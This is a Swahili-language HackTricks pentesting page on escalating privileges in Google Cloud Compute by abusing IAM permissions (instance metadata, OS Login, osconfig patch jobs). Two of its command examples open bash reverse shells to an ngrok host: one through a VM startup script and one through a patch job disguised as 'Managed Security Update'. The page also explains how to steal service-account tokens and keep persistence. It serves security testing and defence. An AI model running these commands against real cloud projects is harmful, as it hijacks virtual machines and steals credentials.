GCP - Compute Privesc

Support HackTricks

Compute

Kwa maelezo zaidi kuhusu Compute na VPC (mtandao) katika GCP angalia:

Kumbuka kwamba ili kufanya mashambulizi yote ya kupandisha hadhi yanayohitaji kubadilisha metadata ya mfano (kama kuongeza watumiaji wapya na funguo za SSH) ni muhimu kuwa na ruhusa za actAs juu ya SA iliyoambatanishwa na mfano, hata kama SA tayari imeambatanishwa!

compute.projects.setCommonInstanceMetadata

Kwa ruhusa hiyo unaweza kubadilisha taarifa za metadata za mfano na kubadilisha funguo zilizoidhinishwa za mtumiaji, au kuunda mtumiaji mpya mwenye ruhusa za sudo. Hivyo, utaweza kuingia kupitia SSH kwenye mfano wowote wa VM na kuiba Akaunti ya Huduma ya GCP ambayo Mfano unatumia. Vikwazo:

  • Kumbuka kwamba Akaunti za Huduma za GCP zinazotumika katika mifano ya VM kwa kawaida zina mipaka finyu sana

  • Itabidi uwe na uwezo wa kuwasiliana na seva ya SSH ili kuingia

Kwa maelezo zaidi kuhusu jinsi ya kutumia ruhusa hii angalia:

Unaweza pia kufanya shambulizi hili kwa kuongeza skripti mpya za kuanzisha na kuanzisha upya mfano:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Ruhusa hii inatoa privilege sawa na ruhusa ya awali lakini juu ya instances maalum badala ya mradi mzima. Mizaha na mipaka sawa na ile ya sehemu ya awali inatumika.

compute.instances.setIamPolicy

Aina hii ya ruhusa itakuruhusu kujipa jukumu na ruhusa za awali na kupandisha privileges kwa kuzitumia.

compute.instances.osLogin

Ikiwa OSLogin imewezeshwa katika instance, kwa ruhusa hii unaweza tu kukimbia gcloud compute ssh [INSTANCE] na kuungana na instance. Huta kuwa na root privs ndani ya instance.

Ili kuingia kwa mafanikio na ruhusa hii ndani ya VM instance, unahitaji kuwa na ruhusa ya iam.serviceAccounts.actAs juu ya SA iliyoambatanishwa na VM.

compute.instances.osAdminLogin

Ikiwa OSLogin imewezeshwa katika instance, kwa ruhusa hii unaweza tu kukimbia gcloud compute ssh [INSTANCE] na kuungana na instance. Utakuwa na root privs ndani ya instance.

Ili kuingia kwa mafanikio na ruhusa hii ndani ya VM instance, unahitaji kuwa na ruhusa ya iam.serviceAccounts.actAs juu ya SA iliyoambatanishwa na VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Inawezekana kuunda mashine ya virtual na Akaunti ya Huduma iliyotolewa na kuiba tokeni ya akaunti ya huduma kwa kufikia metadata ili kupandisha privileges kwake.

Script ya exploit kwa njia hii inaweza kupatikana hapa.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Ikiwa una osconfig.patchDeployments.create au osconfig.patchJobs.exec ruhusa unaweza kuunda kazi ya patch au usambazaji. Hii itakuruhusu kuhamasisha kwa upande katika mazingira na kupata utekelezaji wa msimbo kwenye instances zote za compute ndani ya mradi.

Kumbuka kwamba kwa sasa huhitaji ruhusa ya actAs juu ya SA iliyoambatanishwa na instance.

Ikiwa unataka kutumia hii kwa mikono utahitaji kuunda ama kazi ya patch au usambazaji. Ili kukimbia kazi ya patch:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Ili kupeleka usasishaji wa patch:

gcloud compute os-config patch-deployments create <name> ...

The tool patchy inaweza kutumika zamani kwa ajili ya kutumia hii misconfiguration (lakini sasa haifanyi kazi).

Mshambuliaji anaweza pia kutumia hii kwa kudumu.

compute.machineImages.setIamPolicy

Jipatie ruhusa za ziada kwa picha ya kompyuta.

compute.snapshots.setIamPolicy

Jipatie ruhusa za ziada kwa picha ya diski.

compute.disks.setIamPolicy

Jipatie ruhusa za ziada kwa diski.

Bypass Access Scopes

Kwa kufuata kiungo hiki utapata baadhi ya wazo za kujaribu kupita mipaka ya ufikiaji.

Local Privilege Escalation in GCP Compute instance

References

Support HackTricks

Last updated